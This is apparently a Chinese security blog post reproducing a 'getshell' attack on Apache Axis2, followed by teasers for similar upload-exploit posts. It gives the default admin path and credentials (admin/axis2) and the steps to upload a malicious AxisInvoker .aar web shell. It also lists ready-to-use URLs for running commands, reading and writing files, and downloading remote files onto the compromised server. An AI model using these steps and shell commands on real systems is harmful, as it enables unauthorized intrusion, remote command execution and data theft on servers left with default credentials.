Apache Axis2 后台文件上传getshell 漏洞复现

2024-04-29 11:56:48

0x00 前言

Apache Axis2是一个Web服务的核心支援引擎。AXIS2对旧有的AXIS重新设计及重写，并提供两种语言Java及C的开发版本。

事实上AXIS2 不只为WEB应用程序提供Web服务的界面，而且它也可以作为一个单独的服务器看待，而且很简单就能跟Apache Tomcat整合，目前AXIS2的最新版本是1.6.2。

Axis是一个开源、基于XML的Web服务架构。最开始由IBM公司研发,叫IBM-SOAP。后来由Apache基金会在SOAP的基础上推出了AXIS。AXIS本质是一个Java语言编写的SOAP引擎。利用它我们可以在各种分布式应用中,让各个应用能够彼此操作、交互。

0x01 漏洞复现

默认端口：8089

默认后台路径：/axis2-admin/login

默认账号密码：admin/axis2

选择Tools-“ Upload Service ”上传aar包进行 getshell

成功后会提示“ File AxisInvoker.aar successfully uploaded ”

http://xxx.xxx.xxx.xxx/axis2/services/Cat/exec?cmd=ipconfig

0x02 使用方法

马子的使用方法：

支持的命令：
exec-运行命令，在Linux / Windows上均可使用，不用担心。http://192.168.56.103:8080/axis2/services/AxisInvoker/exec?cmd=whoami写-写文件http://192.168.56.103:8080/axis2/services/AxisInvoker/write?path=c:\1.1txt&content=123info-显示某些信息，根据需要进行修改http://192.168.56.103:8080/axis2/services/AxisInvoker/info读取-读取文件内容http://192.168.56.103:8080/axis2/services/AxisInvoker/read?path=c:\boot.ini下载-下载文件并将其保存在某处http://192.168.56.103:8080/axis2/services/AxisInvoker/download?url=http://www.baidu.com&file=c:\122.txt

下载地址：https://github.com/CaledoniaProject/AxisInvoker

转载请注明：Adminxe's Blog » Apache Axis2 后台文件上传getshell 漏洞复现

Apache Axis2 后台文件上传getshell 漏洞复现相关推荐

通达+oa+php+文件+乱,通达OA任意文件删除/OA未授权访问+任意文件上传RCE漏洞复现...
0x00 简介通达OA采用基于WEB的企业计算,主HTTP服务器采用了世界上最先进的Apache服务器,性能稳定可靠.数据存取集中控制,避免了数据泄漏的可能.提供数据备份工具,保护系统数据安全.多级 ...
致远OA ajax.do 任意文件上传 (CNVD-2021-01627) 漏洞复现
为方便您的阅读,可点击下方蓝色字体,进行跳转↓↓↓ 01 漏洞描述 02 影响范围 03 验证方式 04 利用方式 05 修复方案 01 漏洞描述致远OA是一套办公协同管理软件.由于致远OA旧版本某 ...
某OA ajax.do 未授权漏洞任意文件上传getshell复现
某OA ajax.do 未授权漏洞任意文件上传getshell复现 0x00 简介某OA A8 是一款流行的协同管理软件,在各中.大型企业机构中广泛使用. 由于某旧版本某些接口能被未授权访问,并且部 ...
漏洞案例之z-blog后台文件上传
z-blog后台文件上传后台登录地址 php版本后台登录地址:你的域名/zb_system/login.php asp版本后台登录地址:后缀为/zb_system/login.asp zblogge ...
记一次对DZ的渗透.(一句话木马与图片,文件上传解析漏洞)
一.举例:St0rs Team 指剑碎星河分享前言0X01 某日某帅正在使用着啊D 入侵百度的时候, 突然某位好友发来一条消息. "滴滴上车" 打开消息一看,说是要某帅帮忙日一个 ...
web文件上传-0x00漏洞
文件上传-0x00漏洞题目:2016全国大学生信息安全竞赛-web文件上传原理 0x00漏洞:也称为%00阻断漏洞,0x00漏洞常见于Apache服务器后缀名称解析漏洞,不管文件最后后缀为什么,只 ...
.htaccess文件上传解析漏洞
测试环境 upload-labs靶场(Pass-04) .htaccess原理 .htaccess文件是Apache服务器下的一个配置文件.其主要负责相关目录下的网页配置,即:在一个特定的文档目录中放 ...
java http 上传文件_java利用httpClient实现后台文件上传请求
之前写过基于html和js的文件上传方法java 用springMVC 和HttpServletRequest 两种实现文件上传的方法和httpClient后台执行普通post请求的文章java通过h ...
0919文件上传-解析漏洞编辑器安全WAF绕过及安全修复
其他漏洞编辑器漏洞网站在实现上传文章等功能时会套用第三方编辑器的功能大部分编辑器漏洞都是文件上传漏洞判断: 1.看界面 2.目录扫描 fkceditor.ewebeditor.ckeditor ...

最新文章

热门文章